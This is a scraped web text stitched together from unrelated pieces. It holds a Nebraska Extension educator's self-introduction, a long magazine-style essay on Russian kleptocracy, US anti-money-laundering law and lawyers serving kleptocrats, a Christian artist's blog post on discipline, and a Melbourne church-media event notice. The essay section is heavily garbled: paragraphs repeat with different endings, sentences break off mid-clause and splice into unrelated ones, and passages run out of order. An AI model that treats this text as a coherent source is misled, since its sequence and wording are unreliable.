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Sen. Scheer described our states tax challenge as a function of geography: Population is not distributed equally across a big geographic area. That statement alone is a reason for Nebraska to seek statewide solutions.Hello everyone! My name is Melissa Bartels and I joined Nebraska Extension as a cropping and water systems educator for Butler and Polk counties late last fall.

My office is in the Butler County Courthouse in David City, I can be reached at 402-367-7410 or by emailing melissa.bartels@unl.edu. Growing up, I was heavily involved in horse 4-H in Lancaster County and continued to volunteer as a 4-H leader and as a judge at area fairs upon graduating from 4-H.

My career path began as an undergraduate with the USDA Agricultural Research Services sorghum plant pathology laboratory looking at hybrids with increased resistance to Fusarium that produced mycotoxins. It was fascinating to study the whole system of plants and pathogens. Sometimes they coexist and sometimes the pathogen takes over the plant. It was at this point I realized I wanted to go into plant science.

After graduating from Nebraska Wesleyan with a bachelor's degree in biology. I continued my studies at the University of Nebraska-Lincoln, receiving M.S. and Ph.D. degrees in plant pathology. My graduate research focused on the evolutionary rate of Wheat streak mosaic virus and Triticum mosaic virus in wheat and closely related hosts. While pursuing my graduate degrees, I worked in the USDA ARS wheat virology lab.for two years, in the early 1990s, Richard Palmer served as the CIA station chief in the United States Moscow embassy. The events unfolding around himthe dissolution of the Soviet Union and the rise of Russiawere so chaotic, so traumatic and exhilarating, that they mostly eluded clearheaded analysis. But from all the intelligence that washed over his desk, Palmer acquired a crystalline understanding of the deeper narrative of those times. To hear more feature stories, see our full list or get the Audm iPhone app.







Washington told itself a comforting story that minimized the importance of this outbreak of kleptomania: These were criminal outliers and rogue profiteers rushing to exploit the weakness of the new state. This narrative infuriated Palmer. He wanted to shake Congress into recognizing that the thieves were the very elites who presided over every corner of the system. For the U.S. to be like Russia is today, American officialdom, Palmer believed, had badly misjudged Russia. Washington had placed its faith in the new regimes elites; it took them at their word when they professed their commitment to democratic capitalism. But Palmer had seen up close how the worlds growing interconnectednessand global finance in particularcould be deployed for ill. During the Cold War, the KGB had developed an expert understanding of the banking byways of the West, and spymasters had become adept at dispensing cash to agents abroad. That proficiency facilitated the amassing of new fortunes. In the dying days of the U.S.S.R., Palmer had watched as his old adversaries in Soviet intelligence shoveled billions from the state treasury into private accounts across Europe and the U.S. It was one of historys greatest heists.Washington told itself a comforting story that minimized the importance of this outbreak of kleptomania: These were criminal outliers and rogue profiteers rushing to exploit the weakness of the new state. This narrative infuriated Palmer. He wanted to shake Congress into recognizing that the thieves were the very elites who presided over every corner of the system. For the U.S. to be like Russia is today, he explained to the House committee , it would be necessary to have massive corruption by the majority of the members at Congress as well as by the Departments of Justice and Treasury, and agents of the FBI, CIA, DIA, IRS, Marshal Service, Border Patrol; state and local police officers; the Federal Reserve Bank; Supreme Court justices  In his testimony, Palmer even mentioned Russias newly installed and little-known prime minister (whom he mistakenly referred to as Boris Putin), accusing him of helping to loot Russia.







This unillusioned spook was a prophet, and he spoke out at a hinge moment in the history of global corruption. America could not afford to delude itself into assuming that it would serve as the virtuous model, much less emerge as an untainted bystander. Yet when Yegor Gaidar, a reformist Russian prime minister in the earliest postcommunist days, asked the United States for help hunting down the billions that the KGB had carted away, the White House refused.  The United States, Palmer made clear, had allowed itself to become an accomplice in this plunder. His assessment was unsparing. The West could have turned away this stolen cash; it could have stanched the outflow to shell companies and tax havens. Instead, Western banks waved Russian loot into their vaults. Palmers anger was intended to provoke a bout of introspectionand to fuel anxiety about the risk that rising kleptocracy posed to the West itself. After all, the Russians would have a strong interest in protecting their relocated assets. They would want to shield this wealth from moralizing American politicians who might clamor to seize it. Eighteen years before Special Counsel Robert Mueller began his investigation into foreign interference in a U.S. election, Palmer warned Congress about Russian political donations to U.S. politicians and political parties to obtain influence. What was at stake could well be systemic contagion: Russian values might infect and then weaken the moral defense systems of American politics and business.This unillusioned spook was a prophet, and he spoke out at a hinge moment in the history of global corruption. America could not afford to delude itself into assuming that it would serve as the virtuous model, much less emerge as an untainted bystander. Yet when Yegor Gaidar, a reformist Russian prime minister in the earliest postcommunist days, asked the United States for help hunting down the billions that the KGB had carted away, the White House refused.  Capital flight is capital flight  was how one former CIA official summed up the American rationale for idly standing by. But this was capital flight on an unprecedented scale, and mere prologue to an era of rampant theft. When the Berkeley economist Gabriel Zucman studied the problem in 2015 , he found that 52 percent of Russias wealth resided outside the country.







As in the Russian case, much of this plundered wealth finds its way to the United States.

the contagion has spread remarkably quickly, which is not to say steadily, in a country haunted since its founding by the perils of corruption. The United States has had seizures of conscience en route to the top of the new global order surveyed by the British journalist Oliver Bullough in his excellent book remarkably quickly, which is not to say steadily, in a country haunted since its founding by the perils of corruption. The United States has had seizures of conscience en route to the top of the new global order surveyed by the British journalist Oliver Bullough in his excellent book Moneyland: Why Thieves and Crooks Now Rule the World and How to Take It Back . In the months following Palmers testimony, the zeitgeist swerved in the direction he urged, at least momentarily. Newspaper articles in the fall of 1999 showed how billions in Russian money, some of it seemingly tied to an alleged crime boss, had landed in the Bank of New York. These sums startled Bill Clintons administration, which readied tough new anti-money-laundering bills , designed to stiffen banking regulations. But the administration was in its last year, and passing any new law would have required a legislative slog and bull-rushing obstreperous lobbyists, so plans stalled. The collapse of communism in the other post-Soviet states, along with Chinas turn toward capitalism, only added to the kleptocratic fortunes that were hustled abroad for secret safekeeping. Officials around the world have always looted their countries coffers and accumulated bribes. But the globalization of banking made the export of their ill-gotten money far more convenient than it had beenwhich, of course, inspired more theft. By one estimate, more than $1 trillion now exits the worlds developing countries each year in the forms of laundered money and evaded taxes.As in the Russian case, much of this plundered wealth finds its way to the United States. New York Los Angeles , and Miami have joined London as the worlds most desired destinations for laundered money. This boom has enriched the American elites who have enabled itand it has degraded the nations political and social mores in the process. While everyone else was heralding an emergent globalist world that would take on the best values of America, Palmer had glimpsed the dire risk of the opposite: that the values of the kleptocrats would become Americas own. This grim vision is now nearing fruition.





The Clinton-era proposals would have remained an unvisited curio in the National Archives had Osama bin Laden not attacked. But in the days after the Twin Towers collapsed, George W. Bushs administration furiously scoured Washington for ideas to jam into the 342-page piece of legislation that would become the patriot Act. A sense of national panic created a brief moment for bureaucrats to realize previously shelved plans. Title III of the Act. A sense of national panic created a brief moment for bureaucrats to realize previously shelved plans. Title III of the patriot Act, the International Money Laundering Abatement and Anti-terrorist Financing Act, was signed into law little more than a month after September 11.

This section of the bill was a monumental legislative achievement. Undeterred by the smoke clouds of crisis, representatives of the big banks had stalked the Senate, trying to quash the measure. Citibank officials reportedly got into Act, the International Money Laundering Abatement and Anti-terrorist Financing Act, was signed into law little more than a month after September 11.This section of the bill was a monumental legislative achievement. Undeterred by the smoke clouds of crisis, representatives of the big banks had stalked the Senate, trying to quash the measure. Citibank officials reportedly got into shouting matches with congressional staffers in the hall. This anger reflected the force of the patriot Act. If a bank came across suspicious money transferred from abroad, it was now required to report the transfer to the government. A bank could face criminal charges for failing to establish sufficient safeguards against the flow of corrupt cash. Little wonder that banks fought fiercely against the imposition of so many new rules, which required them to bulk up their compliance divisionsand, more to the point, subjected them to expensive penalties for laxity. Act. If a bank came across suspicious money transferred from abroad, it was now required to report the transfer to the government. A bank could face criminal charges for failing to establish sufficient safeguards against the flow of corrupt cash. Little wonder that banks fought fiercely against the imposition of so many new rules, which required them to bulk up their compliance divisionsand, more to the point, subjected them to expensive penalties for laxity.





Much of what Palmer had urged was suddenly the law of the land. But nestled in the patriot Act lay the handiwork of another industrys lobbyists. Every House district in the country has real estate, and lobbyists for that business had pleaded for relief from the Act lay the handiwork of another industrys lobbyists. Every House district in the country has real estate, and lobbyists for that business had pleaded for relief from the patriot Acts monitoring of dubious foreign transactions. They all but conjured up images of suburban moms staking Acts monitoring of dubious foreign transactions. They all but conjured up images of suburban moms staking for sale signs on lawns, ill-equipped to vet every buyer. And they persuaded Congress to grant the industry a temporary exemption from having to enforce the new law.

The exemption was a gaping loopholeand an extraordinary growth opportunity for high-end real estate. For all the new fastidiousness of the financial system, foreigners could still buy penthouse apartments or mansions anonymously and with ease, by hiding behind shell companies set up in states such as Delaware and Nevada. Those states, along with a few others, had turned the registration of shell companies into a hugely lucrative racketand it was stunningly simple to arrange such a Potemkin front on behalf of a dictator, a drug dealer, or an oligarch. According to Global Witness, a London-based anti-corruption NGO founded in 1993,

The United States, Palmer made clear, had allowed itself to become an accomplice to this plunder. Much of the money that might have snuck into banks before the signs on lawns, ill-equipped to vet every buyer. And they persuaded Congress to grant the industry a temporary exemption from having to enforce the new law.The exemption was a gaping loopholeand an extraordinary growth opportunity for high-end real estate. For all the new fastidiousness of the financial system, foreigners could still buy penthouse apartments or mansions anonymously and with ease, by hiding behind shell companies set up in states such as Delaware and Nevada. Those states, along with a few others, had turned the registration of shell companies into a hugely lucrative racketand it was stunningly simple to arrange such a Potemkin front on behalf of a dictator, a drug dealer, or an oligarch. According to Global Witness, a London-based anti-corruption NGO founded in 1993, procuring a library card requires more identification in many states than does creating an anonymous shell company Much of the money that might have snuck into banks before the patriot Act became law was now used to purchase property. The New York Times described the phenomenon in a series of exposes, published in 2015, called  Act became law was now used to purchase property.described the phenomenon in a series of exposes, published in 2015, called  Towers of Secrecy . Reporters discovered that condos in the ultra-luxe Time Warner Center at Columbus Circle in Manhattan were owned by a constellation of kleptocrats. One condo belonged to the family of a former Russian senator whose suspected ties to organized crime precluded him from legally entering Canada for a few years. A condo down the hall belonged to a Greek businessman who had recently been arrested in an anti-government-corruption sweep. The family of a former Colombian governor, imprisoned for self-enrichment while in office, owned a unit he could no longer visit.





Times found, were bought using shell companies. The proportion was even greater in Los Angeles and Manhattan (where more than 80 percent of Time Warner Center sales fit that description). As the Treasury Department put it in 2017, nearly one in three high-end real-estate purchases that it monitors involves an individual whom

The warm welcome has created a strange dissonance in American policy. Take the case of the aluminum magnate Oleg Deripaska, a character who has made recurring cameos in the investigation of Russian interference in the 2016 presidential election. The State Department, concerned about Deripaskas connections to Russian organized crime (which he has denied), has restricted his travel to the United States for years. Such fears have not stood in the way of his These denizens, all of whom denied wrongdoing, made their high-priced purchases in what has become a common way. Nationwide, nearly half of homes worth at least $5 million, thefound, were bought using shell companies. The proportion was even greater in Los Angeles and Manhattan (where more than 80 percent of Time Warner Center sales fit that description). As the Treasury Department put it in 2017, nearly one in three high-end real-estate purchases that it monitors involves an individual whom the government has been tracking as suspicious. Yet somehow the presence of so many shady buyers has never especially troubled the real-estate industry or, for that matter, politicians. In 2013, New York Citys then-mayor, Michael Bloomberg, asked , Wouldnt it be great if we could get all the Russian billionaires to move here?The warm welcome has created a strange dissonance in American policy. Take the case of the aluminum magnate Oleg Deripaska, a character who has made recurring cameos in the investigation of Russian interference in the 2016 presidential election. The State Department, concerned about Deripaskas connections to Russian organized crime (which he has denied), has restricted his travel to the United States for years. Such fears have not stood in the way of his acquiring a $42.5 million mansion on Manhattans Upper East Side and another estate near Washingtons Embassy Row





Over time, the gap between the noble intentions of the patriot Act and the dirty reality of the property market became too wide to ignore. In 2016,

In 2017, Act and the dirty reality of the property market became too wide to ignore. In 2016, Barack Obamas administration tested a program to bring the real-estate industry in line with the banks, compelling brokers to report foreign buyers, too. The ongoing program, piloted in Miami and Manhattan, could have become the scaffolding for a truly robust enforcement regime. But then the American presidency turned over, and a landlord came to power. Obamas successor liked selling condos to anonymous foreign buyersand may have grown dependent on their cash.In 2017, Reuters examined the sale of Trump Organization properties in Florida. It found that 77 of 2,044 units in the developments were owned by Russians. But that was likely an incomplete portrait. More than one-third of the units had been sold to corporate vehicles, which can readily hide the identity of the true owner. As Oliver Bullough remarks, They might have belonged to Vladimir Putin, for all anyone else could know. Around the time that Trump took up occupancy in the White House, the patriot Acts temporary exemption for real estate entered its 15th year. Without anyone ever declaring it so, the ephemeral has been enshrined.

Acts temporary exemption for real estate entered its 15th year. Without anyone ever declaring it so, the ephemeral has been enshrined. the war on kleptocracy had meanwhile been lurching forward on another front. If foreign plutocrats remained mostly unscathed as they made themselves at home in the U.S., American plutocrats eager to hide their fortunes abroad faced fresh trouble. In 2007, the United States experienced one of its bouts of moral clarity, jolted by the confessions of a banker named Bradley Birkenfeld, who came clean to the Department of Justice. (He would later tell his story in a book called Lucifers Banker.) What he freely divulged to prosecutors were his client-recruiting efforts on behalf of UBS, the Swiss banking behemoth.







The scale of the hidden cash spun Congress into a fury. In 2010, it passed the Foreign Account Tax Compliance Act ( Birkenfeld described how he had ensconced himself in the gilded heart of the American plutocracy, attending yacht regattas and patronizing art galleries. He would mingle with the wealthy and strike up conversation. What I can do for you is zero, he would say, and then pause before the punch line: Actually, its three zeroes. Zero income tax, zero capital-gains tax, and zero inheritance tax. Birkenfelds unsubtle approach succeeded wildly, as did his bank. As part of an agreement with the Justice Department, UBS admitted to hiding assets totaling some $20 billion in American money.The scale of the hidden cash spun Congress into a fury. In 2010, it passed the Foreign Account Tax Compliance Act ( fatca ), legislation with moral clout that belies its stodgy name. Never again would a foreign bank be able to hold American cash without notifying the IRSor without risking a walloping fine.

Here was anti-corruption leadership at workand U.S. waffling on display. According to one powerful strain of American exceptionalism, the nation boasts superior financial hygiene and a bedrock culture of good government. Indeed, the U.S. government has devoted more attention to money laundering than perhaps any other nation on the planet. But the bar isnt very high, and the vigilance has its limits. In 2011, the Obama administration sought to collect more information about foreigners bank accounts and to share it with the relevant home countries. But banksalong with their lobbyists and intellectual mouthpiecesworked furiously to prevent the expansion. A fellow at the Heritage Foundation denounced the proposed standards as fiscal imperialism. The president of the Florida Bankers Association said, At a time when we are trying to create jobs and reduce the burden on businesses, this is the wrong issue. Bankers associations in Texas, California, and New York followed suit. The effort went nowhere in Congress.

Members of Americas professional elite competed to sell their services to kleptocrats, breezing past ethical prohibitions. The pattern repeated itself when the Organization for Economic Cooperation and Development, following the original ), legislation with moral clout that belies its stodgy name. Never again would a foreign bank be able to hold American cash without notifying the IRSor without risking a walloping fine.Here was anti-corruption leadership at workand U.S. waffling on display. According to one powerful strain of American exceptionalism, the nation boasts superior financial hygiene and a bedrock culture of good government. Indeed, the U.S. government has devoted more attention to money laundering than perhaps any other nation on the planet. But the bar isnt very high, and the vigilance has its limits. In 2011, the Obama administration sought to collect more information about foreigners bank accounts and to share it with the relevant home countries. But banksalong with their lobbyists and intellectual mouthpiecesworked furiously to prevent the expansion. A fellow at the Heritage Foundation denounced the proposed standards as fiscal imperialism. The president of the Florida Bankers Association said, At a time when we are trying to create jobs and reduce the burden on businesses, this is the wrong issue. Bankers associations in Texas, California, and New York followed suit. The effort went nowhere in Congress.The pattern repeated itself when the Organization for Economic Cooperation and Development, following the original fatca example, took the congressional template and extended it: Each year, banks would report foreign accounts to the tax authorities in the account holders home country. If every nation had signed on to the OECD standards, the effect would have been a hammerblow to tax havens, shattering the vital infrastructure that allows kleptocratic money to flow unnoticed. In the end, the United States was alone in refusing to join the OECD agreement, finalized in 2014.

This obstinacy stood to subvert everything the country had done to lead the fight against dirty money: While the U.S. can ask almost any other nations banks for financial information about American citizens, it has no obligation to provide other countries with the same. The United States had bullied the rest of the world into scrapping financial secrecy, Bullough writes, but hadnt applied the same standards to itself. A Zurich-based lawyer vividly spelled out the consequences to Bloomberg: How ironicno, how perversethat the USA, which has been so sanctimonious in its condemnation of Swiss banks, has become the banking secrecy jurisdiction du jour  That giant sucking sound you hear? It is the sound of money rushing to the USA. example, took the congressional template and extended it: Each year, banks would report foreign accounts to the tax authorities in the account holders home country. If every nation had signed on to the OECD standards, the effect would have been a hammerblow to tax havens, shattering the vital infrastructure that allows kleptocratic money to flow unnoticed. In the end, the United States was alone in refusing to join the OECD agreement, finalized in 2014.This obstinacy stood to subvert everything the country had done to lead the fight against dirty money: While the U.S. can ask almost any other nations banks for financial information about American citizens, it has no obligation to provide other countries with the same. The United States had bullied the rest of the world into scrapping financial secrecy, Bullough writes, but hadnt applied the same standards to itself. A Zurich-based lawyer vividly spelled out the consequences to: How ironicno, how perversethat the USA, which has been so sanctimonious in its condemnation of Swiss banks, has become the banking secrecy jurisdiction du jour  That giant sucking sound you hear? It is the sound of money rushing to the USA.





Bloomberg. The script laid bare the reasons for wealthy foreigners to funnel money through Nevada: The state is the ideal place to hide money from governments and avoid paying U.S. taxes. The draft acknowledged a truth that bankers dont usually admit in public, which is that the United States has little appetite for helping foreign governments retrieve money laundered within its borders. In fact, it has grown into the biggest tax haven in the world. (The firm said these statements were removed before the presentation was delivered, because they did not reflect the firms real views.)

Not long before the U.S. declined to sign on to the OECD standards, a branch office of the baronial Rothschild bank opened on the 12th floor of a building in Reno, Nevada, far away in miles and spirit from the home office in Paris. The banks name wasnt announced on the exterior of the building or even listed in the lobby directory. Soon after the Reno outpost opened, one of the banks managing directors introduced the new branchs services to potential clients in San Francisco. What made the presentation so memorable were the ideas included in a draft procured by. The script laid bare the reasons for wealthy foreigners to funnel money through Nevada: The state is the ideal place to hide money from governments and avoid paying U.S. taxes. The draft acknowledged a truth that bankers dont usually admit in public, which is that the United States has little appetite for helping foreign governments retrieve money laundered within its borders. In fact, it has grown into the biggest tax haven in the world. (The firm said these statements were removed before the presentation was delivered, because they did not reflect the firms real views.) what changed wasnt just regulatory structure. The behavior of the American elite changed too. Members of the professional classes competed to sell their services to kleptocrats. In the course of that competition, they breezed past old ethical prohibitions, and the pressure rose to test the limits of the law. A collection of videos on the internet, filmed in 2014, illustrates this moral collapse. The clips never show the face of a man introduced as Ralph Kayser, a German who reveals only the most elemental details about himself, recited in lightly accented English. He has lined up a succession of meetings with 13 law firms in Manhattan, in which he engages in pleasantries and then announces his purpose. He works as an adviser to a government official in one of these mineral-rich countries in West Africa, he explains. Over a long career, the official has grown quite wealthy. Companies are eager to get hold of rare-earth or other minerals. And so they pay some special money for it. I wouldnt name it bribe. I would say facilitation money. 







That is entirely by design. Kayser is actually a character devised by Global Witness, the London-based NGO. The actor is outfitted with a well-concealed camera to capture the American lawyers displaying their ethical proclivities. Although none of the lawyers Kayser visits takes him on as a client, and several say they need more information about the source of the officials wealth, only one flatly refuses to discuss ways to move the money. Kayser has not, it should be said, selected the law offices of Saul Goodman. His targets include attorneys at white-shoe firms.

Of course they understand the risks of moving suspect cash into New York. One lawyer tells Kayser, Ive gotta be very careful myself. I dont wanna do something [that] looks like Im laundering money. And that would cost me my license, andand I just dont do that. Just what sort of scrutiny he generally applies, though, isnt clear. When I get money from my other clients, he admits, it always comes in with some strange name on it. I dont even ask. Another lawyer blithely announces, They dont send lawyers to jail, because we run the country  Were still members of a privileged class in this country.

The perils of corruption were an obsession of the Founders. Madison mentioned corruption 54 times in a 1787 notebook. Global Witness conducted its experiment to point out Big Laws complicity in the spread of kleptocracy. But the footage also provides primary anthropology of an American elite. A profession like law has highly developed ethical codes, yet those codes appear to have receded in recent years. Even the most prestigious firms find themselves fretful about the survival of their high-priced business model, which was profoundly rattled by the 2008 financial crisis and the corporate cost-cutting that followed. Greedy impulses have surely always existed within the white-shoe world, but the sense of Darwinian struggle and the norms of a global elite have eroded boundaries. The same partners who shed underachieving colleagues more ruthlessly than they used to also seem primed to adopt a more permissive attitude toward clients whom they might once have rejected.

This decay has been on full display in Robert Muellers investigation. We have seen how the firm Skadden, Arps, Slate, Meagher & Flom, a sturdy pillar of the legal profession, placed itself in the service of kleptocracy. One partner at the firm from 2010 to 2018, Gregory Craig, had served as Barack Obamas White House counsel, the man responsible for safeguarding the integrity of the presidency. At Skadden, he oversaw the creation of a report that was used to justify Ukrainian President Viktor Yanukovychs arrest of his primary political opponent on what were widely viewed as highly dubious grounds. (The firm, according to testimony in Muellers investigation, said privately that evidence to support the arrest was  Kaysers client, he continues, is getting older andbecause the clients wife has always wanted a New York brownstone, and the client is in the market for a Gulfstream and a yachthe has a sudden need to transport money into the United States. The client prefers that his purchases remain a tightly held secret, so as not to provoke attention back in his home country. It would look, at least, very, very embarrassing. Kayser makes hardly any effort to disguise his desire to move suspect funds.That is entirely by design. Kayser is actually a character devised by Global Witness, the London-based NGO. The actor is outfitted with a well-concealed camera to capture the American lawyers displaying their ethical proclivities. Although none of the lawyers Kayser visits takes him on as a client, and several say they need more information about the source of the officials wealth, only one flatly refuses to discuss ways to move the money. Kayser has not, it should be said, selected the law offices of Saul Goodman. His targets include attorneys at white-shoe firms.Of course they understand the risks of moving suspect cash into New York. One lawyer tells Kayser, Ive gotta be very careful myself. I dont wanna do something [that] looks like Im laundering money. And that would cost me my license, andand I just dont do that. Just what sort of scrutiny he generally applies, though, isnt clear. When I get money from my other clients, he admits, it always comes in with some strange name on it. I dont even ask. Another lawyer blithely announces, They dont send lawyers to jail, because we run the country  Were still members of a privileged class in this country.Global Witness conducted its experiment to point out Big Laws complicity in the spread of kleptocracy. But the footage also provides primary anthropology of an American elite. A profession like law has highly developed ethical codes, yet those codes appear to have receded in recent years. Even the most prestigious firms find themselves fretful about the survival of their high-priced business model, which was profoundly rattled by the 2008 financial crisis and the corporate cost-cutting that followed. Greedy impulses have surely always existed within the white-shoe world, but the sense of Darwinian struggle and the norms of a global elite have eroded boundaries. The same partners who shed underachieving colleagues more ruthlessly than they used to also seem primed to adopt a more permissive attitude toward clients whom they might once have rejected.This decay has been on full display in Robert Muellers investigation. We have seen how the firm Skadden, Arps, Slate, Meagher & Flom, a sturdy pillar of the legal profession, placed itself in the service of kleptocracy. One partner at the firm from 2010 to 2018, Gregory Craig, had served as Barack Obamas White House counsel, the man responsible for safeguarding the integrity of the presidency. At Skadden, he oversaw the creation of a report that was used to justify Ukrainian President Viktor Yanukovychs arrest of his primary political opponent on what were widely viewed as highly dubious grounds. (The firm, according to testimony in Muellers investigation, said privately that evidence to support the arrest was  virtually nonexistent. ) Another lawyer who worked for Skadden has pleaded guilty to lying to prosecutors during the Mueller teams probe of the firms Ukrainian work.







The Ukrainians hired Skadden through a middleman, the now-jailed political consultant Paul Manafort. Once upon a time, it might have been possible to think of Manafort as a grubby outlier in Washingtonthe lobbyist with the lowest standards, willing to take on the most egregious clients. But Mueller has exposed just how tightly tethered Manaforts work on behalf of Ukrainian kleptocrats was to Washingtons permanent elite. Manafort subcontracted some of his lobbying to the firm of Tony Podesta, arguably the most powerful Democratic influence-peddler of his generation. And Manafort employed Mercury Public Affairs, where he dealt with Vin Weber, a former Republican congressman and a former chairman of the National Endowment for Democracy. americas fear of kleptocracy goes back to its founding. In 1785, Benjamin Franklin returned from Paris, where he had served as a representative of American interests. He brought home a bejeweled gift, which incited controversy. The grandest item in his possession, it was a portrait of Louis XVI, outlined by 408 diamonds and stored in a golden case. This present was often referred to as a snuffbox, a name that seemed intended to obscure its grandeur. It symbolized everything that Franklins generation despised about Europe and its debasements. There, gift-giving was a standard diplomatic custom. But a gift might cloud the judgment of a public official, and risked undermining the allegiances of the recipient. It represented the possible elevation of personal gain over commitment to the public good.





The perils of corruption were an obsession of the Founders. In the summer of 1787, James Madison mentioned corruption in his notebook 54 times. To read the transcripts of the various constitutional conventions is to see just how much that generation worried about the moral quality of public behaviorand how much it wanted to create a system that defined corruption more expansively than the French or British systems had, and that fostered a political culture with higher ethical ambitions.

In her important history, Corruption in America, Zephyr Teachout, a legal scholar and liberal activist, argues that during the countrys first 200 years, courts maintained the Founders vigilance against corruption. For a good chunk of American history, a number of states criminalized lobbying in many forms, out of a sense that a loosening of standards would trigger a race to the bottom. That near-phobia now looks quaint, and also prescient. The political culture, the legal culture, the banking cultureso much of the culture of the self-congratulatory meritocratic elitehave long since abandoned such prudish ways.

The defining document of our era is the Supreme Courts Citizens United decision in 2010. The ruling didnt just legalize anonymous expenditures on political campaigns. It redefined our very idea of what constitutes corruption, limiting it to its most blatant forms: the bribe and the explicit quid pro quo. Justice Anthony Kennedys majority opinion crystallized an ever more prevalent ethos of indifferencethe collective shrug in response to tax avoidance by the rich and by large corporations, the yawn that now greets the millions in dark money spent by invisible billionaires to influence elections.Heading into 2019, I generally think most of us are thinking about improving ourselves, making and setting goals and getting back in touch with that God dream you had in your heart that still is not fulfilled.

How we go about achieving these goals, dreams and ideas is very much left to how much we invest time and skill in them. While God gives us divine inspiration from the Holy Spirit, it is the partnership of us doing our part that will ultimately see these things come to fulfillment.

As a professional artist I produce prophetic art work that is inspired by the extraordinary visual imagery of my dreams and visions. In the creative process I find myself between trust in the Holy Spirit and putting time into my craft and disciplining myself to get even better at producing these spiritual images to a level that I can see them in my holy imagination.

How much do we rely on God compared to ourselves?

What is the balance between waiting on the Holy Spirit and putting time into your discipline? As an artist, and also a personality that likes to push myself in becoming better at what I do, I have found that I have been learning about the importance of putting time into my craft as an artist.

Its actually kind of lazy to put all your expectations into what comes forth from the divine. This was a real shift for me when it came to art because I would often stand in front of a blank canvas and allow these pictures I saw form in front of me via my skills and what would come from my brush. I would hardly ever pre-draw or get a clear idea before I embarked on my journey of painting a piece.

I would often say that it was a more powerful a testimony when even I didnt know what came forth from my brush.

Getting skilled up

Recently I was very fortunate to work with the amazing Christian artist Grace Bailey. She needs no introduction, but she has become more than an expert in her field as a worship painting artist all over the world. Often painting on stage in the Sounds of the Nations conferences and also recently at the huge event Awakening in

Melbourne, Australia. Her images are both divinely inspired and incredibly well executed, and really is a great source to look up to as an artist and is also author of painting with God.

Grace Bailey runs art workshops in her studio in Ballarat and early this year I was very blessed to be able to attend her four-day intensive. My goal was to push myself as much as I could, to glean off the master artist in practical and spiritual areas of her craft and to do the most difficult and challenging things I could do.

Am I a sucker for punishment? Well, no is the answer, but I am the personality that wants to get better every day at what I do, even if its a little bit. I think that God wants us to be a better version of ourselves every day.

What happens when we apply ourselves to our craft?

When we apply ourselves and take up the disciplines of our craft  reminding you that your craft could be being a better husband or wife, work colleague, writer, dancer, builder  we stand as a greater testimony of the creative God that lives with in us. If we can execute what he knows we can execute with the mind and body he gave us, imagine what doors can open to His truth and His kingdom.

If we view being more disciplined as a way to reflect our creator even more, imagine how much less we would be lazy. What we do does reflect our creator and it is up to us to draw near to Him to allow him to blow you away with the extraordinary capacity and skills he has put inside you.

Grace, the prophetic artist, said to me that you wouldnt see a builder turning up to build your house saying, Its all good, God will teach me the steps to building a house, and you walking away thinking it will work out. So why is that in creative circles that we allow it? As I said, this is vast shift from my journey of standing in front of blank canvas relying on something to come to me, to coming to a canvas with a clear, prayed-through and prepared approach that will be a testimony of the creative potential that is with in me.

We reflect his glory

So why does it matter that we apply ourselves to our craft? God will be seen through it anyway.

I can only speak for myself and my walk with God, but I know that on this side of eternity I want to do everything in my power to be able to reflect his glory and wonder through everything I do. If that requires me to shake off the lazy tag to move to greater reflect my King, I will.

So what is the balance of being happy with what I produce with my current level of skills, and seeing if I actually can work toward executing what I can see in my holy imagination? I think that if I could execute that, my paintings would even go to another level and would be an even greater testimony of the way he works through me with paint and brushes.

I am reminded at this stage that we are called disciples and the root word of this being discipline. So as we see discipline as a way of becoming a greater testimony of the God that lives inside you how much more of an impact you can make in your area of craft.

Its amazing to think that we have the ability to reflect His glory, his wonder and His character in the gifts and talents He has put in you.

Justin Monaghan is currently launching as a professional prophetic artist under the label JR Faith Creations and works as corporate team builder all over Australia. He is married to Liana and lives at the beautiful beach of Port Willunga.Photo - One Day in Melbourne 2016 small groups with Sheelagh Wegman editor of Tasmanian Anglican leading one

The 4th One Day in Melbourne for missions communications personnel this year under fresh leadership will be held at Craigieburn Salvation Army on Saturday 10 August.

After three years of establishing One Day in Melbourne Rev Bob Thomas editor of New Life and Dr Mark Tronson of Press Service International - the first three annual One Day in Melbourne events highly recognized for its specialised input.

2016 the speakers included Sheeleagh Wegman the editor of the Tasmanian Anglican, Sophia Sinclair chief editor of PSI, David Goodwin on Design, Bob Thomas on platforms and Peter Brookshaw on marketing and blogging.

2017 the speakers included John Sandeman editor of Eternity, Cheryl McGrath CMS, David Goodwin on IT, John Lemmon on Blogging and small groups.

Last year 2018 the speakers included Peter Brookshaw on IT, David Goodwin on The Cloud, Ben Campbell Africa Enterprize and Ashley Saunders Family Voice.

Photo - the new team One Day in Melbourne  John Lemmon, Peter Brookshaw, David Goodwin

2019 new team

Those first three years witnessed the speakers highlighting specific aspects of mission communication and last year, for example, we heard Ben Campbells presentation of international mission communication and Ashley Saunders on a middle size Australian based missions communications.

With all that behind One Day in Melbourne - the three new people to take on 2019 One Day in Melbourne are Peter Brookshaw, David Goodwin and John Lemmon. All three have been part of One Day in Melbourne since its inception, all three have been speakers and all three have been part of the planning and understand the philosophy.

The reason there is not even one woman on this new 2019 One Day in Melbourne planning group is that we asked the various women who have been involved these three years and due to their own circumstances were unavailable, though excited that this continues. No woman of ministry substance wants to be part of something as the token woman  I concur, that is disgusting.

Back to the Future

The 2016 One Day in Sydney (same format as One Day in Melbourne) combined with the annual young writers conference and for 2019 the new leadership of One Day in Melbourne has warmed to this and on Saturday 10 August will combine with the 2019 young writer conference.

The plan is a proven one, the two morning seminars will be combined with One Day in Melbourne and the annual Young Writer Conference.

The afternoon 2 hour session the two groups have their individual space  One Day in Melbourne in the seminar hall, the PSI Young Writers in the other areas of the massive facility.

At 4.00pm are the exciting annual awards for the young writers which the One Day in Melbourne delegates may attend or head home.

Photo - One Day in Melbourne spoof - getting the IT to work

2019 One Day in Melbourne program

Open 9.00-9.20am

Welcome 9.45am and short devotional

10.00am 1st plenary

11.00am morning tea

11.30am  2nd plenary and small groups

12.30pm  lunch

1.30pm - 2 hours

Two groups in separate areas

One Day in Melbourne and Young Writers

3.30pm - Afternoon tea

4.00pm - Annual young writer awards

To register, even at this early stage, Email the Craigieburn Salvation Army peter.brookshaw@aus.salvationarmy.org

Photo - Rev Bob Thomas editor New Life and John Sandeman editor Eternity at One Day in Melbourne

Dr Mark Tronson is a Baptist minister (retired) who served as the Australian cricket team chaplain for 17 years (2000 ret) and established Life After Cricket in 2001. He was recognised by the Olympic Ministry Medal in 2009 presented by Carl Lewis Olympian of the Century. He mentors young writers and has written 24 books, and enjoys writing. He is married to Delma, with four adult children and grand-children. Dr Tronson writes a daily article for Christian Today Australia (since 2008) and in November 2016 established Christian Today New Zealand.

